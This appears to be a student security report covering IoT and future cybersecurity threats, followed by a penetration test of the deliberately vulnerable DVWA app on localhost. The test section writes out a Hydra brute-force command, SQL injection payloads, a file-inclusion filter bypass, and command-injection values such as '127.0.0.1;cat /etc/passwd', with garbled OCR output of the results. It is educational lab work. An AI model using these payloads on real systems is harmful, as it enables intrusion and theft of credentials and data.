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Abstract— There are many steps to be undertaken in order to maintain good security practices in the workplace. As well as employee training, there must be procedures in place to deal with any perceived threat. This document covers the wide range of techniques both current and future trends in maintaining network security. The process of penetration testing a website has also been documented including steps to prevent future attacks.
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 Introduction

Businesses around the world rely heavily on network infrastructure. There are many business operations that require a network connection of some kind including but not limited to:
· Internal/External communications
· Onsite/offsite backups
· Server hosting
· IoT systems
· Mobile device usage

All of these services require the use of network infrastructure. In order for the business to safely use these services, it is crucial that all possible steps are taken to secure the businesses network infrastructure.
The risks to a business stemming from a lack of adequate network security can be devastating. Aside from the reputational damage caused by a security breech, the businesses operations can be severely affected or even destroyed. Important files can be encrypted or deleted, or even leaked/sold. Confidential data of clients/employees can be exposed. [1]
It is important that network security specialists consider all aspects of a network in order to ensure the maximum is being done to maintain network integrity. While a business may have taken all the necessary steps to ensure network security such as appropriate authorization, network policies, access control and appropriate antivirus, it is still important that contingency policies are put in place to recover should any of these strategies fail. No system is “unbreachable” and it is important to always have plans in place to react to different types of breeches. [1,2]
There is a wide range of methods of protecting a businesses network and its data which will be explored further in this document.
An easily implementable method of protecting data is backing up files. Backing up important files can be a method to allow recovery from certain cyberattacks such as ransomware or any attacks/viruses that encrypt or delete data. While this method allows recovery of data, there is no recourse for theft of confidential information as the damage has already been done. [3]
Backups of computer images can also allow restoration of infected devices quicker than manually rebuilding a machine and its required services. This restores normal usage capabilities quickly and can reduce downtimes within a business. [3]
While there are a range of damaging effects that can be caused by different attacks, certain businesses are harder hit by different types of attacks depending on how the business operates. For example, a company that houses many low level employees who are sending and receiving emails frequently throughout the day will benefit from email filtering and well configured firewalls/filters more than a small business of highly skilled network specialists who would be more wise to certain email attack attempts such as phishing. [3]
A highly skilled network security professional would be expected to have a strong idea of what methods would be essential to a certain type of business as well as the recovery methods that would be best implemented to ensure minimal downtime during recovery. [3]
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Literature review
This section will contain research conducted around the network security issues faced by Internet of Things and smart city, as well as the future trends in cybersecurity.

Internet of Things and Smart City security issues

Internet of things and smart city as a concept has taken off massively over the last decade, with capabilities and features increasing year on year.

IoT involves the use of multiple sensors connected to a network which can read various metrics such as temperature, physical activity in an area, light levels and many more. These metrics are then sent to a control room which may be automated to some level, which then further controls those aspects by sending signals back to those areas and performs actions that affect those rooms or areas that the sensors reside. [4]

For example, the control room sets the ambient temperature of each room in a school or university to 25 degrees. 10 sensors feed temperature information to the control room ranging from 20 to 30 degrees. From there, the control room sends information back to those rooms to the heating or aircon controllers to adjust the temperature back to the desired level. [4]

While this kind of temperature controlling system seems simple, the security issues that may be faced can vary. A malicious hacker that may be able to spoof sensor metrics and/or controller signals to unintended levels. This can cause a range of unintended actions. For example, when the university is unattended the hacker may cause heating to be active for hours on end causing unwanted costs to the university. Rooms that require certain cooled temperatures (such as server rooms, kitchen appliances or science storage rooms) may be sabotaged by increasing the temperature to levels which can affect server performance, or ruin/spoil ingredients and supplies. [4]

While this seems arbitrary to the hackers’ motive and intentions, it may be possible for the hacker to extort or hold ransom the services that have been attacked. The university may be forced to pay the hacker to allow normal activity of the IoT system, or spend time and money trying to resolve the intrusions as well as prevent future attacks. [4]

Due to the nature of an IoT system using 10s potentially 100s of devices all communicating mostly through wireless connections, all it takes is 1 slip up from the network manager for a breech to occur. 

As mentioned above where sensor data may be spoofed in an attempt to extort or aggravate IoT system users, this is just one avenue of attack that may be launched. Breeches of an IoT system can lead to deeper penetration of the network and its data/services. [5]
Spoofing is just one security issue faced by IoT systems. Below is a list of potential attacks:

Spoofing

Spoofing is where a device or data sent from a device is intercepted and replaced with tampered data, resulting in increased costs and/or energy usage for a business. Spoofing IoT data can also result in sabotaged production material, for example if a product is produced at twice the expected temperature and is ruined. [5-7]

Eavesdropping

Eavesdropping is the act of observing transmitted data across an IoT network. This can include personal confidential information, as well as important business information/data.  [5-7]

Authorization/access issues

The majority of IoT devices utilize remote control capabilities. This opens up a range of attacks that target wireless devices and can lead to deeper access into he targeted network. [5-7]

Privacy issues

Production businesses may use IoT to control production values such as times, temps, weight and other important metrics throughout the production process. These values may be trade secrets which would devalue the business should they get released or sold. [5-7]

Hijacking/injection

Due to IoT systems being mass produced with some businesses offering cheaper and cheaper options, it is an unfortunate side effect that some cheap systems will not be as secure as the well-designed systems. The use of unsecure devices in IoT systems opens up the user to potential hijacking of devices allowing injection of malicious code that can propagate through the targeted network with a wide range of devastating consequences. [5-7]

Denial of Service

A business that relies on IoT systems to control aspects of there business operations would suffer massively from a DoS attack. A DoS attack can bring an IoT device or whole IoT system offline, resulting in huge downtime, or ruined/wasted production materials. This inevitable costs a business money and time spent getting the system back online again. [5-7]

When implementing an IoT system, there is a range of security challenges that have to be considered:

Scalability

A business may require an IoT system to operate over anywhere from a small single room or building, all the way up to a huge multi-site business. Scalability with security in mind becomes harder to prepare for as business size increases. The smaller sized business should be expected to be easier to maintain security wise as there are less users and devices to secure. [5-7]

Maneuverability

With wireless devices being key in the IoT system, it is important to be mindful of how portable or flexible the devices that are being used can be. Money can be saved by reutilizing no longer needed devices in other areas if/when required. It is also important to ensure devices are not easily accessible to being tampered, but also in functional spots to allow good performance within the IoT system. [5-7]

Deployment

During installation and rollout of an IoT system, attention must be given to aspects such as positioning, access, and potentially weather protection. If possible, sensors can be installed in ways that make physical tampering impossible or easily detectable. Reducing the opportunities for physical tampering increases security massively. [5-7]

Compatibility

Some IoT systems may have compatibility issues when communicating with non-same manufacturer devices. This can result in a reliance upon third party software to facilitate the communication between devices. The need for additional software to bridge compatibility gaps adds another target for malicious attackers and can weaken the overall security of the IoT system. [5-7]

In some circumstances where new IoT systems must work alongside older systems this may not be helped, but due diligence must be taken to reduce any possible risks by selecting hardware that works best with the current systems. [5-7]

Latency

Care must be taken to ensure devices are installed in spots that do not degrade performance of devices and between devices. Slow communication speeds can result in slow detection times of tampering or interference, as well as inaccurate or corrupted data being transferred across the IoT system. [5-7]

Below are the main security considerations for implementing an IoT system:


Authentication

Authentication is the ability to accurately identify and validate the credentials of a device/user on the IoT network. Authentication leads into manageable device and user activity through access control. [7]

Access control

Access control utilizes authentication to modify the levels of access that users and devices on the IoT network have. Restricting the access of a device to only the required services and permissions can reduce the potential damage a compromised device can cause. [7]

Data Integrity

Data integrity ensures that data sent/received from IoT devices is valid and not tampered with. Data integrity is essential in businesses that deal with user accounts such as energy companies, where user consumption meters are key in identifying and billing users for services.  [7]

Confidentiality

Confidentiality is ensuring that data created or transmitted across the IoT system is only accessible by required users with the required credentials. [7]

Privacy

Privacy is the guarantee that user data is only used for the intended purposes, is not viewed/used by any unauthorized users, and is not used for any nefarious means. [7]

In conclusion of the security issues of IoT, it is clear that the technology has grown and will continue to grow and be a big part of business operations and home networks around the world. It is important that the security risks are known and accounted for. [5-7]

It is all too common these days for unaware home users to want to buy the newest technology and use it in their homes, but some users simply don’t understand the potential risks of unsecured technology and may not understand how to properly set up good security measures for their devices. It is important that home users are made aware of the consequences of unsecure systems being brought into their home. [5-7]

Overall IoT has a huge part to play in allowing businesses to grow and reach efficient operating levels previously unseen without utilizing such technology. But as technology grows and improves, so do the opportunities for said technology being attacked by malicious hackers.; It is on the security teams to ensure that they keep up to date with advances and ensure that threats are detected and dealt with before any damage is received from such attacks. [5-7]
Future trends in cybersecurity

Cybersecurity as a whole has a constant need to keep up with current and future threats. In the same vein that antivirus software has to constantly update to defend from new and evolving attacks, network security engineers have to be ready to deal with new and unseen attack methods.

While businesses can appropriately defend from the majority of current attacks if the steps have been taken to secure a business network, malicious hackers understand this and have to work outside the box to find vulnerabilities that are unknown. 

	Year
	Keys per second (1000s)

	2000
	834

	2010
	8918

	2015
	11344

	2020
	17042


When new technology arrives on the shelf (such as IoT, or machine learning network security), malicious hackers see this as a goldmine of opportunities. This is due to the limited amount of testing that can possibly have been done on the product compared to the years of testing and assessments that have been performed on products that have been around for decades. [3,4]

Strictly speaking, business users would be expected to understand the risks of implementing new technology by employing network security specialists to evaluate the risks of such technology, and the posed threats to implementing such a system. [3,4]

Home users who may not be as educated in the security risks around new technology may decide to buy and implement a home IoT system and hope it works off the shelf, without any specialized knowledge. While there are systems available that can achieve this, there are always extra steps that can be taken to secure a system even further. [3,4]

A home user who purchases and installs a home IoT system may be happy that it works, but the home user may not understand the potential damage a malicious hacker could cause to an unsecure system. Bank details may be intercepted while accessing the bank no devices connected to the IoT system. Personal conversations may be eavesdropped, leading to blackmailing. Confidential phone calls or work emails sent from home may be stolen or tampered with resulting in stolen intellectual property which the employee is responsible for. There is always a huge wave of consumers who will jump on the newest technology as soon as it comes out without realizing the risks. [3,4]

It is also to the detriment of new technology that any new and fascinating capabilities of software/hardware may be used for malicious activities as well as to better improve business or entertainment activities. A simple example would be hardware improvements, whenever a faster CPU or GPU comes out, business productivity goes up. But at the same time malicious hackers utilizing the upgraded hardware can now brute force passwords faster than ever before. [3,4]

For example, the below table compared password brute force times across different years using different lengths and complexities: [8]


	Password
	2000
	2010
	2015
	2020

	abc
	4ms
	0.36ms
	0.29ms
	0.19ms

	abc123
	43 mins
	4 mins
	3 mins
	2 mins

	Computer
	2 years
	2 months
	7 weeks
	5 weeks

	P@ssw0rd
	13 yr
	1 yr 3 mth
	1 yr
	8 mth



These results are rough estimates using available hardware during each year using a password brute force estimating program. The program works by estimating the potential keys per second using the hardware available in each year. [8]


These results show how fast hardware has improved over the last 2 decades in terms of brute forcing passwords. The results do exhibit an amount of diminishing returns, where keys per second have increased by almost 100% in the last 10 years, whereas in the 10 years starting from 2000-2010 the speed increased by almost 1000%.

In todays cybersecurity climate, businesses are having to adapt to cyber threats in almost real time conditions. Detecting intrusions as fast as possible allows minimal damage and potential blocking of attacks getting further into the network. [9-10]

Since the introduction of GDPR, businesses around the world are having to implement new policies and amend network practices to comply with the data handling procedures. While the GDPR concerns data of EU users, it affects business operations of any country in the world that handles data from EU users. [12]

The requirement of worldwide businesses to follow GDPR regulations also adds additional pressure to increase security in order to not face huge backlash and fines in the event of a breech concerning EU data. [12]

With the slow release of 5G network capability around the world comes more cyberattack potential threats. 5G hopes to improve on 4G to allow lower latency and less demanding energy consumption. This can potentially revolutionize the IoT industry allowing more efficient devices to perform at higher standards than previously achieved. [13] 

5G can be susceptible to all the similar attacks that are currently a threat to wireless networks such as eavesdropping, Man in the middle attack, DoS attack and jamming. All these attacks will have to be considered when utilizing 5G. New defenses will have to be employed to keep up with the capabilities and vulnerabilities that come with the use of 5G. [13]

As modern cars are being fitted with self-driving capabilities and are usually now connected to a vehicular network, the advances made with 5G offers great benefits to vehicular networks providing the low latency low resource usage stands true. [13]

Modern cars are relying heavily on moving to electrical functionality as opposed to mechanical for example an electronic accelerator and brakes (controlled by an ECU rather than cabled pedals) Electronic accelerators and brakes allow less moving parts, utilizing sensors to detect brake pressure and accelerator speed. The end result is more accurate results and effectively less wear and tear on parts. 

However, with this new technology comes new potential threats. With functions of a vehicle being incorporated with the cars electrical computerized system comes the potential for devastating consequences should any of these systems be breeched. Its not hard to imagine a scenario in the near future where a malicious hacker gains full control of an automated car, where the hacker can now lock doors, select destinations, increase speed or slam on breaks for potentially fatal results.

The way modern electric cars receive version updates of in car systems is through file updates. Its not impossible for a man in the middle attack to intercept an update and relay a tampered version to allow back doors or tweak performance metrics. [13]

It is important that any business that decides to utilize 5G realizes the security implications. A lot of thought and a strong team of networks security specialists must be onboard to even think about implementing 5G into a business due to 5G being relatively new technology and fairly untested grounds. [13]

While the world proceeds through the teething period of implementing 5G, more insight into the reliability and robustness of the service. Businesses may prefer to wait out this period and not put themselves at unnecessary risks while they observe the situation and reassess later down the line if their business could benefit from implementing 5G. [13]

Machine learning is an interesting topic in the cybersecurity sector. While AI is being used to detect and prevent cyberattacks, it is also being used to create and launch cyberattacks. Essentially AI fighting against AI. [14,15]




Intrusion detection using machine learning can be trained alongside live systems, with successful defense time providing valuable data that anomalies can be held against. The longer a system is “trained” against the more accurate a full machine learning system can be. [15]

Cloud computing is becoming more and more of a desirable business solution for businesses of all sizes and needs. While a lot of businesses are already utilizing cloud computing technology, it still remains a relatively new emerging technology. [16]

Along with the growing use of cloud computing comes increasing security threats. With 100s potentially thousands of users/businesses being situated on a cloud computing server farm. The consequences of a breech can be devastating, as experienced with the Heartbleed exploit where malicious hackers were able to read the memory of affected systems, which could house confidential data of businesses. [16-17]

One threat to cloud computing which affects emerging cloud computing technology platform as a service, software as a service and infrastructure as a service. These services utilize software such as Docker and Kubernetes to facilitate rapid deployment and maintenance of lightweight container services. Should a hacker gain access to these services, tampered OS versions may be installed to the containers from which the business conducts operations. This would result in confidential business info and/or potentially sensitive customer info being exposed. [16]

The influence that social media and media in general can have on cybersecurity issues such as social engineering and phishing can allow additional avenues of attack to malicious hackers. Blackmail and extortion have become rife over the last few years due to more frequent “data leaks” as seen in the iCloud breeches. Even the level of fake news and fake media contributes to the potential social engineering attacks. [11]

In conclusion of the future trends of cybersecurity, it is clear that maintaining the security of a network against current and future attacks is no easy task. As advances in technology are made, so open new avenues of attack for malicious hackers. 

There is a constant struggle and essentially an arms race between network security specialists and malicious hackers. Machine learning can be an aid but the fact that both sides have access to machine learning capabilities 

It is essential that new technology is extensively tested before deployment to ensure maximum effort has been given to maintain integrity of the technology.


Penetration testing
To demonstrate the capabilities of malicious attacks, the Damn vulnerable web app will be used. A variety of attacks will be demonstrated using this software. To prepare for the attacks some initial configuration setup has to be completed.
To start off an up to date version of Kali Linux has been installed onto an Oracle VM Virtual Box. Inside Kali Linux DVWA has been downloaded into the /var/www/html directory.
Using the command “chmod -R 777 DVWA/” while in the /var/www/html directory will give the required permissions to function as expected. By entering the config file with the commands “cd DVWA/config/” and “cp config.inc.php.dist config.inc.php” a copy of the default configuration values can be modified to suit the needs of the experiment. In this case the username and password is created as “user” and “pass” to keep it consistent throughout the experiments.

The next step is to initiate the database setup. Using the commands “service mysql start” and “mysql -u root -p” a user is able to be created for the database. In this case “‘user’@’127.0.0.1’ identified by ‘pass’;” uses the login details from the previous configurations steps to incorporate the DVWA user details. To grant this user the required privileges to work alongside DVWA the command “grant all privileges on dvwa.* to ‘user’@’127.0.01’ identified by ‘pass’;”. This concludes the database configuration.

To host the DVWA to allow penetration testing, apache2 will be used. To initiate the apache2 server, the command “cd /etc/php/7.3/apache2/” is used. Using “gedit php.ini” allows modification to the configuration file of the apache server. DVWA requires that allow_url_fopen is set to “on”, and also that allow_url_include is set to “on”. Both these values can be set to “off” by default. To bring up the server, “service apache2 start” is used
Pre-Configuration is now complete and penetration testing is ready to be carried out












Brute force
[image: ]
Here is the target of the brute force password attack using DVWA. THC Hydra will be used to perform the brute force attack.
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Using burp suite as a proxy will allow interception of http requests.
[image: ]
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Configuring burp suite allows interception of html session data.
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This is the command used to launch the brute force attack: “hydra 127.0.0.1 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt http-get-form "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=eu506bmi76m51m7ig7lbaoe8b0; security=low"
The command the session data captured through burp suite and a wordlist included in Kali Linux to attempt a brute forced password attempt. Below you can see that the attempt was successful providing a correct password to allow successful logging in to DVWA.

[image: ]
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A strong defense to brute force attacks is to use long passwords with a mixture of numerals letters and symbols. As mentioned in part 1 of this document, adding a couple of characters to the end of your password can increase cracking times by potentially weeks or months.
SQL injection 
SQL injection uses text input boxes to force out information using queries. By entering “99’ or 1=1;#” it forces the database to give out data
[image: ]
﻿
99' or '1' = '1' UNION select 1,version()# Exposing the database version can lead to malicious hackers discovering database vulnerabilities to further exploit.
[image: ]

Exploring further using commands such as “﻿
99' or '1' = '1' UNION select 1,user()#“ can reveal further information
[image: ]

File inclusion
Here you can see the low security level with no input validation or filtering, compared to the high security configurations.
[image: ]
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Below you can see the inclusion of google using the address http://127.0.0.1/DVWA/vulnerabilities/fi/?page=https://google.com. This means that any malicious php file can be included and loaded onto the targeted website resulting in potential atack vectors being exploited.
[image: ]
If you were to attempt the same attack on a website with adequate input validation and filters configured, you would find this message and a failure to load the file.
[image: ]
[image: ]Even with weak input validation for example on medium setting, it is possible to use the same attack with methods to get around the input validation.








As you can see, the medium security features include filters for “http” and “https”. By using differing capital letters in the address, you can bypass the weak string filters present on the medium setting while still including the malicious file.
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A strong defense to file inclusion is to employ strong filter parameters that cannot be easily bypassed. A stronger defense is to maintain a vetted list of whitelisted filenames rather than try to create filters to stop unwanted files

Command injection
[image: ]Unsecure input boxes can lead to unintended actions being performed. On the DVWA website, there is a ping function to allow users to receive ping response times.











Due to the low security parameters involving this text input, using Linux command line inputs it is possible to retrieve unintended information. This stems from the capability of executing multiple commands from a single line input on Linux using a ; between commands.

[image: ]


This can result in confidential data being exposed to malicious hackers. Hackers can fish around for important info until they gather enough information to launch a further attack using higher level authentication details.

Below is a data output providing user details from using the command “127.0.0.1;cat /etc/passwd”

[image: ]

Using the command 127.0.0.1;whoami it is possible to see what user is connected. www-data is the user.

[image: ]

Using command line injection, it is possible to execute commands from a backdoor in a system. 

To defend from command injection is to stay away from customer facing command line inputs altogether. APIs allow data to be read from certain servers without the risks of command line execution and should be used wherever possible. 

Where not possible, restrict possible inputs that can have malicious consequences, and be sure to end commands properly and safely Performing regular code reviews can reveal weaknesses in systems as well as offer room for improvement.
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Vulnerability: SQL Injection

user 10 [ suomt_|

ID: 99° or 1-1;#
First name: admin
Surname: admin

ID: 99° or 1-1;#
First name: Gordon
Surname: Brown

D: 99" or
First name:
Surname: Me

D: 99" or
First name: Pablo
Surname: Picasso

D: 99" or
First name: Bob
Surname: Smith

#
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Vulnerability: SQL Injection

User D [
ID: 99 or 1’ = '1' UNION
First name: admin

Surname: admin

ID: 99 or 1’ = '1' UNION
First name: Gordon
Surnane: Brown

ID: 99 or 1’ = '1' UNION
First name: Hack

Surnane: Me

ID: 99 or ' = '1' UNION
First name: Pablo

Surnane: Picasso

: 99" or '1° unzON

First name: Bob
Surname: Smith

D: 99° or 1’ =
First name: 1
Surname: 10.3.12-MariaDB-2

Submit

select

select

select

select

select

select

1,version()#

1,version()#

1,version()#

1,version()#

1,version()#

1,version()#
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Vulnerability: SQL Injection

User ID:
D: 99° or 1’ UNION
First name: admin

Surname: admin

D: 99° or 1’ = UNION
First name: Gordon
Surname: Brown

D: 99° or 1 UNION
First name: Hack

Surname: Me

D: 99° or 1’ UNION
First name: Pablo

Surname: Picasso

D: 99° or "1 UNION
First name: Bob

Surname: Smith

D: 99° or "1 UNION
First name: 1

Surname: user@localhost

Submit

select

select

select

select

select

select

1,user(#

1,user(#

1,user(#

1,user(#

1,user(#

1,user(#
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Low File Inclusion Source
<7php

// The page we wish to display
sfile = $ GETI 'page’ 1;

2>
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Impossible File Inclusion Source

<7php

// The page we wish to display
sfile = $ GETI 'page’ 1

/7 only allow include.php or file{1..3}.php

if( $file 1= "include.php" & $file != "filel.php" && $file !=
/7 This isn't the page we wan
echo "ERROR: File not foun
exit;

“file2.php" && $file 1= "file3.php" ) {

2
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Medium File Inclusion Source
<7php

// The page we wish to display
sfile = $ GETI 'page’ 1;

/7 Input validation
sfile = str_replace( array(
sfile = str_replace( array(

), v, sfile );
. sfile );

nttp://”,

2>

Low File Inclusion Source
<7php

// The page we wish to display
sfile = $ GETI 'page’ 1;

2>
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Vulnerability: Command Injection

Ping a device
Enter an 1P address [ submt

PING 127.0.0.1 (127.
64 bytes from 127.0.

.1) 56(84) bytes of

.022 ms

3
1

.
1
1

64 bytes from 127.0. X .017 ms
64 bytes from 127.0. icmp_seq: .018 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl-64 0.026 ms

--- 127.0.0.1 ping statistics -
4 packets transmitted, 4 received, 0% packet loss, time 66ms
rtt min/avg/max/mdev = 0.017/0.620/0.026/0.006 ms
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Vulnerability: Command Injection

Ping a device

Enter an IP address: Submit
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of

64 bytes from 127.0.0.1: icmp_seq=1 ttl-64 .012 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl-64 .015 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl-64 .017 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl-64 .033 ms

--- 127.0.0.1 ping statistics --
4 packets transmitted, 4 received, 0% packet loss, time 66ms
rtt min/avg/max/ndev = 0.012/0.019/0.033/0.008 ms

help

index.php

source
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Vulnerability: Command Injection

Ping a device
Enter an 1P adaress: | [ suome

PING 127.0.0.1 (127.
64 bytes from 127.0.
64 bytes from 127.0.
64 bytes from 127.0.
64 bytes from 127.0.

1) 56(84) bytes of

ms
ms
ms
ms

0.
1
.

1
1: icmp seq=4 ttl=64

--- 127.0.0.1 ping statistics -
4 packets transmitted, 4 received, 0% packet loss, time 78ms
rtt min/avg/max/ndev = 0.011/0.622/0.039/0.012 ms
root root:/root: /bin/bash

daemon: /usr/sbin: /usr/sbin/nologin
bin:/bin:/usr/sbin/nologin
sys:/dev:/usr/sbin/nologin

55341 sync:/bin: /bin/sync

60:games : /usr/games : /usr/sbin/nologin
:12:man: /var/cache/man: /usr/sbin/nologin
7:1pt/var/spool/lpd: /usr/sbin/nologin
/var/mail:/usr/sbin/nologin

news  /var/spool/news: /usr/sbin/nologin
;uucp:/var/spool/uucp: /usr/ sbin/nologin

9:39:ircd: /var/run/ircd: /usr/sbin/nologin
41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nolo
5534:65534: nobody : /nonexistent: /usr/sbin/nologin

_apt:x:100:65534: : /nonexistent: /usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systend:/usr/s
systemd-network:x:102:103:systend Network Management,,,:/run/systend:/usr/sbin
systemd-resolve:x:103:104:systend Resolver,,,:/run/systend: /usr/sbin/nologin

mysql:x:104:109:MySQL Server, ,, :/nonexistent:/bin/false
Debias :105:110: :/var/spool/exind: /usr/sbin/nologin
uuidd /run/uuidd: /usr/sbin/nologin
rwhod:x:107:65534 : /var/spool/rwho: /usr/sbin/nologin

redsocks
usbmux:x

::/var/run/redsocks: /usr/sbin/noLogin

/var/run/miredo: /usr/sbin/nologin

ntp:x:11; nonexistent: /usr/sbin/nologin
stunneld :/var/run/stunneld: /usr/sbin/nologin
postgres:x:113:117:PostgresQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq: x:114:65534:dnsmasq, , , : /var/Lib/misc: /usr/sbin/nologin

messagebus:x:115:118: : /nonexistent: /usr/sbin/nologin
iodine:x:116:65534: : /var/run/iodine: /usr/sbin/nologin

arpwatch:x:117:120:ARP Watcher,, ,:/var/lib/arpwatch:/bin/sh
Debian-snmp:x:118:123: : /var/lib/snmp: /bin/false

sslh:x:119:124: : /nonexistent: /usr/sbin/nologin
rtkit:x:120:125:Realtimekit, ,, :/proc:/usr/sbin/nologin

inetsim:x:121:126: :/var/lib/inetsin: /usr/sbin/nologin

avahiix:122:130:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:123:131: : /var/lib/geoclue: fusr/sbin/nologin

fin
o
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Vulnerability: Command Injection

Ping a device
Enter an IP address: | 127.0.0.1;whoami [ sumt

PING 127.0.0.1 (127.
64 bytes from 127.0.

0.0.1) 56(84) bytes of
0.1:

64 bytes from 127.0.0.
o
o

icmp_seq=1 ttl-64
icmp_seq=2 ttl-64
icmp_seq=3 ttl-64
icmp_seq=4 ttl-64

.016 ms
.024 ms
.020 ms
.019 ms

64 bytes from 127.0.
64 bytes from 127.0.

--- 127.0.0.1 ping statistics
4 packets transmitted, 4 received, 0% packet loss, time 67ms

rtt min/avg/max/ndev = 0.016/0.019/0.024/0.006 ms
waw-data
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